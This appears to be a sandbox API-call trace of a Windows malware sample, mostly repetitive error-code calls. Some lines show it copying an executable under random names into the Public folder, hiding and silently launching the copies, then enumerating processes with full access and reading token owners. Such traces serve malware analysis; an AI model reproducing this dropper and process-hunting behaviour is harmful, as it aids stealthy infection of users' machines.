	[0105.050] SetLastError (dwErrCode=0x0) 
	[0105.051] GetLastError () returned 0x0
	[0105.051] SetLastError (dwErrCode=0x0) 
	[0105.051] GetLastError () returned 0x0
	[0105.051] SetLastError (dwErrCode=0x0) 
	[0105.051] GetLastError () returned 0x0
	[0105.051] SetLastError (dwErrCode=0x0) 
	[0105.051] GetLastError () returned 0x0
	[0105.051] SetLastError (dwErrCode=0x0) 
	[0105.051] GetLastError () returned 0x0
	[0105.052] SetLastError (dwErrCode=0x0) 
	[0105.052] GetLastError () returned 0x0
	[0105.052] SetLastError (dwErrCode=0x0) 
	[0105.052] GetLastError () returned 0x0
	[0105.052] SetLastError (dwErrCode=0x0) 
	[0105.052] GetLastError () returned 0x0
	[0105.052] SetLastError (dwErrCode=0x0) 
	[0105.052] GetLastError () returned 0x0
	[0105.052] SetLastError (dwErrCode=0x0) 
	[0105.052] GetLastError () returned 0x0
	[0105.053] SetLastError (dwErrCode=0x0) 
	[0105.053] GetLastError () returned 0x0
	[0105.053] SetLastError (dwErrCode=0x0) 
	[0105.053] GetLastError () returned 0x0
	[0105.053] SetLastError (dwErrCode=0x0) 
	[0105.053] GetLastError () returned 0x0
	[0105.053] SetLastError (dwErrCode=0x0) 
	[0105.053] GetLastError () returned 0x0
	[0105.053] SetLastError (dwErrCode=0x0) 
	[0105.053] GetLastError () returned 0x0
	[0105.054] SetLastError (dwErrCode=0x0) 
	[0105.054] GetLastError () returned 0x0
	[0105.054] SetLastError (dwErrCode=0x0) 
	[0105.054] GetLastError () returned 0x0
	[0105.054] SetLastError (dwErrCode=0x0) 
	[0105.054] GetLastError () returned 0x0
	[0105.054] SetLastError (dwErrCode=0x0) 
	[0105.054] GetLastError () returned 0x0
	[0105.054] SetLastError (dwErrCode=0x0) 
	[0105.054] GetLastError () returned 0x0
	[0105.054] SetLastError (dwErrCode=0x0) 
	[0105.055] GetLastError () returned 0x0
	[0105.055] SetLastError (dwErrCode=0x0) 
	[0105.055] GetLastError () returned 0x0
	[0105.055] SetLastError (dwErrCode=0x0) 
	[0105.055] CopyFileW (lpExistingFileName="C:\\users\\Public\\uZkoH.exe" (normalized: "c:\\users\\public\\uzkoh.exe"), lpNewFileName="C:\\users\\Public\\fMRKmiSrvlan.exe" (normalized: "c:\\users\\public\\fmrkmisrvlan.exe"), bFailIfExists=0) returned 1
	[0105.094] SetFileAttributesW (lpFileName="C:\\users\\Public\\fMRKmiSrvlan.exe", dwFileAttributes=0x2) returned 1
	[0105.094] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="C:\\users\\Public\\fMRKmiSrvlan.exe", lpParameters="8 LAN", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0115.633] Sleep (dwMilliseconds=0x1388) 
	[0120.645] GetTickCount () returned 0x11635e0
	[0120.646] GetLastError () returned 0x0
	[0120.646] SetLastError (dwErrCode=0x0) 
	[0120.646] GetLastError () returned 0x0
	[0120.646] SetLastError (dwErrCode=0x0) 
	[0120.646] GetLastError () returned 0x0
	[0120.647] SetLastError (dwErrCode=0x0) 
	[0120.647] GetLastError () returned 0x0
	[0120.647] SetLastError (dwErrCode=0x0) 
	[0120.647] GetLastError () returned 0x0
	[0120.647] SetLastError (dwErrCode=0x0) 
	[0120.647] GetLastError () returned 0x0
	[0120.647] SetLastError (dwErrCode=0x0) 
	[0120.647] GetLastError () returned 0x0
	[0120.647] SetLastError (dwErrCode=0x0) 
	[0120.647] GetLastError () returned 0x0
	[0120.648] SetLastError (dwErrCode=0x0) 
	[0120.648] GetLastError () returned 0x0
	[0120.648] SetLastError (dwErrCode=0x0) 
	[0120.648] GetLastError () returned 0x0
	[0120.648] SetLastError (dwErrCode=0x0) 
	[0120.648] GetLastError () returned 0x0
	[0120.648] SetLastError (dwErrCode=0x0) 
	[0120.648] GetLastError () returned 0x0
	[0120.649] SetLastError (dwErrCode=0x0) 
	[0120.649] GetLastError () returned 0x0
	[0120.649] SetLastError (dwErrCode=0x0) 
	[0120.649] GetLastError () returned 0x0
	[0120.649] SetLastError (dwErrCode=0x0) 
	[0120.649] GetLastError () returned 0x0
	[0120.649] SetLastError (dwErrCode=0x0) 
	[0120.649] GetLastError () returned 0x0
	[0120.649] SetLastError (dwErrCode=0x0) 
	[0120.649] GetLastError () returned 0x0
	[0120.650] SetLastError (dwErrCode=0x0) 
	[0120.650] GetLastError () returned 0x0
	[0120.650] SetLastError (dwErrCode=0x0) 
	[0120.650] GetLastError () returned 0x0
	[0120.650] SetLastError (dwErrCode=0x0) 
	[0120.650] GetLastError () returned 0x0
	[0120.650] SetLastError (dwErrCode=0x0) 
	[0120.650] GetLastError () returned 0x0
	[0120.650] SetLastError (dwErrCode=0x0) 
	[0120.651] GetLastError () returned 0x0
	[0120.651] SetLastError (dwErrCode=0x0) 
	[0120.651] GetLastError () returned 0x0
	[0120.651] SetLastError (dwErrCode=0x0) 
	[0120.651] GetLastError () returned 0x0
	[0120.651] SetLastError (dwErrCode=0x0) 
	[0120.651] GetLastError () returned 0x0
	[0120.651] SetLastError (dwErrCode=0x0) 
	[0120.651] GetLastError () returned 0x0
	[0120.652] SetLastError (dwErrCode=0x0) 
	[0120.652] GetLastError () returned 0x0
	[0120.652] SetLastError (dwErrCode=0x0) 
	[0120.652] GetLastError () returned 0x0
	[0120.652] SetLastError (dwErrCode=0x0) 
	[0120.652] GetLastError () returned 0x0
	[0120.652] SetLastError (dwErrCode=0x0) 
	[0120.653] GetLastError () returned 0x0
	[0120.653] SetLastError (dwErrCode=0x0) 
	[0120.653] GetLastError () returned 0x0
	[0120.653] SetLastError (dwErrCode=0x0) 
	[0120.653] GetLastError () returned 0x0
	[0120.653] SetLastError (dwErrCode=0x0) 
	[0120.653] GetLastError () returned 0x0
	[0120.653] SetLastError (dwErrCode=0x0) 
	[0120.653] GetLastError () returned 0x0
	[0120.654] SetLastError (dwErrCode=0x0) 
	[0120.654] GetLastError () returned 0x0
	[0120.654] SetLastError (dwErrCode=0x0) 
	[0120.654] GetLastError () returned 0x0
	[0120.654] SetLastError (dwErrCode=0x0) 
	[0120.654] GetLastError () returned 0x0
	[0120.654] SetLastError (dwErrCode=0x0) 
	[0120.654] GetLastError () returned 0x0
	[0120.654] SetLastError (dwErrCode=0x0) 
	[0120.655] GetLastError () returned 0x0
	[0120.655] SetLastError (dwErrCode=0x0) 
	[0120.655] GetLastError () returned 0x0
	[0120.655] SetLastError (dwErrCode=0x0) 
	[0120.655] GetLastError () returned 0x0
	[0120.655] SetLastError (dwErrCode=0x0) 
	[0120.655] GetLastError () returned 0x0
	[0120.655] SetLastError (dwErrCode=0x0) 
	[0120.655] GetLastError () returned 0x0
	[0120.655] SetLastError (dwErrCode=0x0) 
	[0120.656] GetLastError () returned 0x0
	[0120.656] SetLastError (dwErrCode=0x0) 
	[0120.656] GetLastError () returned 0x0
	[0120.656] SetLastError (dwErrCode=0x0) 
	[0120.656] GetLastError () returned 0x0
	[0120.656] SetLastError (dwErrCode=0x0) 
	[0120.656] GetLastError () returned 0x0
	[0120.657] SetLastError (dwErrCode=0x0) 
	[0120.657] GetLastError () returned 0x0
	[0120.657] SetLastError (dwErrCode=0x0) 
	[0120.657] GetLastError () returned 0x0
	[0120.657] SetLastError (dwErrCode=0x0) 
	[0120.657] GetLastError () returned 0x0
	[0120.657] SetLastError (dwErrCode=0x0) 
	[0120.657] GetLastError () returned 0x0
	[0120.658] SetLastError (dwErrCode=0x0) 
	[0120.658] GetLastError () returned 0x0
	[0120.658] SetLastError (dwErrCode=0x0) 
	[0120.658] GetLastError () returned 0x0
	[0120.658] SetLastError (dwErrCode=0x0) 
	[0120.658] GetLastError () returned 0x0
	[0120.658] SetLastError (dwErrCode=0x0) 
	[0120.658] GetLastError () returned 0x0
	[0120.658] SetLastError (dwErrCode=0x0) 
	[0120.659] GetLastError () returned 0x0
	[0120.659] SetLastError (dwErrCode=0x0) 
	[0120.659] GetLastError () returned 0x0
	[0120.659] SetLastError (dwErrCode=0x0) 
	[0120.659] GetLastError () returned 0x0
	[0120.659] SetLastError (dwErrCode=0x0) 
	[0120.659] GetLastError () returned 0x0
	[0120.659] SetLastError (dwErrCode=0x0) 
	[0120.659] GetLastError () returned 0x0
	[0120.660] SetLastError (dwErrCode=0x0) 
	[0120.660] GetLastError () returned 0x0
	[0120.660] SetLastError (dwErrCode=0x0) 
	[0120.660] GetLastError () returned 0x0
	[0120.660] SetLastError (dwErrCode=0x0) 
	[0120.660] GetLastError () returned 0x0
	[0120.660] SetLastError (dwErrCode=0x0) 
	[0120.660] GetLastError () returned 0x0
	[0120.661] SetLastError (dwErrCode=0x0) 
	[0120.661] GetLastError () returned 0x0
	[0120.661] SetLastError (dwErrCode=0x0) 
	[0120.661] GetLastError () returned 0x0
	[0120.661] SetLastError (dwErrCode=0x0) 
	[0120.661] GetLastError () returned 0x0
	[0120.661] SetLastError (dwErrCode=0x0) 
	[0120.661] GetLastError () returned 0x0
	[0120.661] SetLastError (dwErrCode=0x0) 
	[0120.661] GetLastError () returned 0x0
	[0120.662] SetLastError (dwErrCode=0x0) 
	[0120.662] CopyFileW (lpExistingFileName="C:\\users\\Public\\uZkoH.exe" (normalized: "c:\\users\\public\\uzkoh.exe"), lpNewFileName="C:\\users\\Public\\HovnaLKnSlan.exe" (normalized: "c:\\users\\public\\hovnalknslan.exe"), bFailIfExists=0) returned 1
	[0124.019] SetFileAttributesW (lpFileName="C:\\users\\Public\\HovnaLKnSlan.exe", dwFileAttributes=0x2) returned 1
	[0124.020] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="C:\\users\\Public\\HovnaLKnSlan.exe", lpParameters="8 LAN", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0125.556] Sleep (dwMilliseconds=0x1388) 
	[0130.645] LocalFree (hMem=0x3a8580) returned 0x0
	[0130.645] GetVersionExW (in: lpVersionInformation=0x194a60*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x194a60*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0130.645] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f455938, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x254
	[0130.649] SetLastError (dwErrCode=0x0) 
	[0130.649] GetCurrentThread () returned 0xfffffffffffffffe
	[0130.649] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=0, TokenHandle=0x194918 | out: TokenHandle=0x194918*=0x0) returned 0
	[0130.649] GetLastError () returned 0x3f0
	[0130.650] ImpersonateSelf (ImpersonationLevel=0x2) returned 1
	[0130.650] GetCurrentThread () returned 0xfffffffffffffffe
	[0130.650] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=0, TokenHandle=0x194918 | out: TokenHandle=0x194918*=0x244) returned 1
	[0130.650] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="敓敄畢偧楲楶敬敧", lpLuid=0x1948f8 | out: lpLuid=0x1948f8*(LowPart=0x0, HighPart=0)) returned 0
	[0130.663] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x180
	[0130.682] Process32FirstW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0130.683] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0130.685] SetLastError (dwErrCode=0x0) 
	[0130.685] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x4) returned 0x0
	[0130.685] CloseHandle (hObject=0x0) returned 0
	[0130.685] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0130.687] SetLastError (dwErrCode=0x0) 
	[0130.687] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x104) returned 0x0
	[0130.687] CloseHandle (hObject=0x0) returned 0
	[0130.688] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0130.689] SetLastError (dwErrCode=0x0) 
	[0130.689] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x148) returned 0x0
	[0130.689] CloseHandle (hObject=0x0) returned 0
	[0130.689] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0130.832] SetLastError (dwErrCode=0x0) 
	[0130.832] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x178) returned 0x0
	[0130.832] CloseHandle (hObject=0x0) returned 0
	[0130.833] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0130.943] SetLastError (dwErrCode=0x0) 
	[0130.943] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x184) returned 0x0
	[0130.944] CloseHandle (hObject=0x0) returned 0
	[0130.944] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0130.945] SetLastError (dwErrCode=0x0) 
	[0130.945] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x1ac) returned 0x0
	[0130.946] CloseHandle (hObject=0x0) returned 0
	[0130.946] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0130.947] SetLastError (dwErrCode=0x0) 
	[0130.947] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x1d8) returned 0x0
	[0130.947] CloseHandle (hObject=0x0) returned 0
	[0130.948] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0130.949] SetLastError (dwErrCode=0x0) 
	[0130.949] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x1e0) returned 0x0
	[0130.949] CloseHandle (hObject=0x0) returned 0
	[0130.949] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0130.951] SetLastError (dwErrCode=0x0) 
	[0130.951] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x1e8) returned 0x0
	[0130.951] CloseHandle (hObject=0x0) returned 0
	[0130.952] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0130.953] SetLastError (dwErrCode=0x0) 
	[0130.953] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x250) returned 0x0
	[0130.953] CloseHandle (hObject=0x0) returned 0
	[0130.954] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0130.955] SetLastError (dwErrCode=0x0) 
	[0130.955] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x294) returned 0x0
	[0130.955] CloseHandle (hObject=0x0) returned 0
	[0130.955] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0130.957] SetLastError (dwErrCode=0x0) 
	[0130.957] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x2c8) returned 0x0
	[0130.958] CloseHandle (hObject=0x0) returned 0
	[0130.958] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0130.960] SetLastError (dwErrCode=0x0) 
	[0130.960] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x338) returned 0x0
	[0130.960] CloseHandle (hObject=0x0) returned 0
	[0130.960] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0130.962] SetLastError (dwErrCode=0x0) 
	[0130.962] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x370) returned 0x0
	[0130.962] CloseHandle (hObject=0x0) returned 0
	[0130.962] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0130.964] SetLastError (dwErrCode=0x0) 
	[0130.964] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x3ac) returned 0x0
	[0130.964] CloseHandle (hObject=0x0) returned 0
	[0130.964] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0130.966] SetLastError (dwErrCode=0x0) 
	[0130.966] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x3f8) returned 0x0
	[0130.966] CloseHandle (hObject=0x0) returned 0
	[0130.966] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0130.968] SetLastError (dwErrCode=0x0) 
	[0130.968] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x218) returned 0x0
	[0130.968] CloseHandle (hObject=0x0) returned 0
	[0130.968] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0130.970] SetLastError (dwErrCode=0x0) 
	[0130.970] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x434) returned 0x160
	[0130.970] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x164) returned 1
	[0130.970] GetTokenInformation (in: TokenHandle=0x164, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x0, ReturnLength=0x1948e8) returned 0
	[0130.971] GetProcessHeap () returned 0x380000
	[0130.971] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0130.971] GetTokenInformation (in: TokenHandle=0x164, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0130.971] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0131.114] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b7030, cchName=0x1948f8, ReferencedDomainName=0x4015a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0131.115] GetProcessHeap () returned 0x380000
	[0131.115] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0131.115] CloseHandle (hObject=0x160) returned 1
	[0131.116] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0131.119] SetLastError (dwErrCode=0x0) 
	[0131.119] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x444) returned 0x160
	[0131.119] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x170) returned 1
	[0131.119] GetTokenInformation (in: TokenHandle=0x170, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0131.119] GetProcessHeap () returned 0x380000
	[0131.120] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0131.120] GetTokenInformation (in: TokenHandle=0x170, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0131.120] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0131.121] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b6d70, cchName=0x1948f8, ReferencedDomainName=0x4012a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0131.123] GetProcessHeap () returned 0x380000
	[0131.123] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0131.123] CloseHandle (hObject=0x160) returned 1
	[0131.123] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0131.125] SetLastError (dwErrCode=0x0) 
	[0131.125] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x46c) returned 0x0
	[0131.125] CloseHandle (hObject=0x0) returned 0
	[0131.125] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0131.127] SetLastError (dwErrCode=0x0) 
	[0131.127] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x4a8) returned 0x160
	[0131.127] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x110) returned 1
	[0131.127] GetTokenInformation (in: TokenHandle=0x110, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0131.127] GetProcessHeap () returned 0x380000
	[0131.127] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0131.127] GetTokenInformation (in: TokenHandle=0x110, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0131.127] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
